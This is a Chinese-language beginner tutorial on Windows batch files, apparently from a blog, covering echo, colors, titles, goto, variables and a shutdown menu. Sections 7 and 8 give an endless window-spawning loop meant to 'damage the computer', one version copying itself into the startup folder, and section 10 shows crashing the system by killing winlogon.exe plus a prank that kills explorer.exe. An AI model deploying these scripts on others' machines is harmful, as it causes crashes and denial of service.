5.批处理

1.批处理的作用

从上而下成批地处理多条命令,直到最后一条

2.如何创建批处理

新建一个记事本文件,然后后缀名改为.bat

3.简单批处理实例

桌面上有个.bat批处理文件,并且该文件中写有

echo ========================================

echo helloworld > E:\text.txt

echo helloworld

echo ========================================

pause

其中的pause是等待的意思

此时,双击批处理文件,那么就会不仅会显示批处理的过程和内容并且还会在对应位置创建了一个text.txt文件,该文件中还有对应的文字内容

如果在批处理首行加上:

@echo off

那么就会在批处理运行的时候,不显示执行过程

4.自定义批处理文字颜色

在cmd窗口输入

color ?

从而查看各个颜色的代号,可以看到,颜色是由两部分组成,第一个是背景颜色,第二个是文字颜色

所以如果设置为背景是灰色,文字是淡红色,那么应该写为8C

在批处理文件中加上

color 8c

然后运行批处理文件,可以看到颜色发生改变,

内容:

@echo off

color 8c

echo ========================================

echo helloworld > E:\text.txt

echo helloworld

echo ========================================

pause

5.自定义批处理运行窗口的标题

@echo off

title 我的批处理

echo ========================================

echo helloworld > E:\text.txt

echo helloworld

echo ========================================

pause

6.跳转goto和:的组合

.bat文件内容:

:1

echo block1

goto 3

:2

echo block2

goto 4

:3

echo block3

goto 2

:4

echo block4

pause

从图中看出,执行顺序是block1,block3,block2,block4

7.利用goto和:进行死循环破坏电脑

:a

start

goto a

注意:其中的start后面不跟任何进程的名字则是打开cmd窗口的意思

8.利用goto和:进行死循环破坏电脑(开机自执行版本)

copy goto.bat "%userprofile%\「开始」菜单\程序"

:a

start

goto a

因为启动里的程序开机会自执行,所以只需要把goto.bat文件复制到此处,那么以后开机就会自动执行该goto.bat文件从而进入死循环破坏电脑

注意1:"%userprofile%\「开始」菜单\程序"这个“启动”路径中有中文所以要用“”括起来

注意2:%userprofile%是一个系统变量,不同的用户登录系统就会有不同的取值

9.自定义变量set

@echo off
title 测试用小程序
color 0a

:menu
echo ========================
echo          菜单
echo       1.定时关机
echo       2.取消定时
echo       3.退出
echo ========================

set /p num=您的选择是?

if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3

echo 别乱输入
pause
cls
goto menu

:1
set /p a=请输入时间(单位:秒)
shutdown -s -f -t %a%
cls
goto menu

:2
shutdown -a
cls
goto menu

:3
exit

注意1:/p是指代,紧跟在后的num,a的等于号后面的内容并不是其值,只是显示出来给用户看的,num和a的值需要用户亲自输入

注意2:set是设置变量的关键字

注意3:exit是退出程序的意思

注意4:if是选择语句

10.强制杀死指定进程

ntsd -c q -pn 进程名称(例如:winlogon.exe,windows登录进程)

该操作会造成蓝屏

注意:只能在win2003和winxp使用

----------------------------------------------------------------------------

taskkill /im 进程名称 /f

例如:taskkill /im explorer.exe /f

效果:杀死桌面进程,导致所有桌面内容丢失

案例1:

@echo off
color 0a
taskkill /im explorer.exe /f

echo 傻了吧 

ping -n 10 127.0.0.1 

start c:\windows\explorer.exe

echo 吓唬你的,是不是很刺激
pause

效果是:将桌面程序杀死,所以桌面会立刻情况所有内容(例如所有图标和下方工具栏)

然后ping自己地址10次

跟着就是ping完10次后,重新启动桌面程序,所有桌面内容恢复

案例2(屏蔽版):

@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul

echo 傻了吧 

ping -n 10 127.0.0.1 >nul 2>nul

start c:\windows\explorer.exe

echo 吓唬你的,是不是很刺激
pause

效果与案例一略微有些差别,原因是加上>nul 2>nul

>nul:屏蔽操作成功的显示信息

2>nul:屏蔽操作失败的显示信息

所以从上图发现,终止桌面进程的显示和ping的过程显示都被屏蔽了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值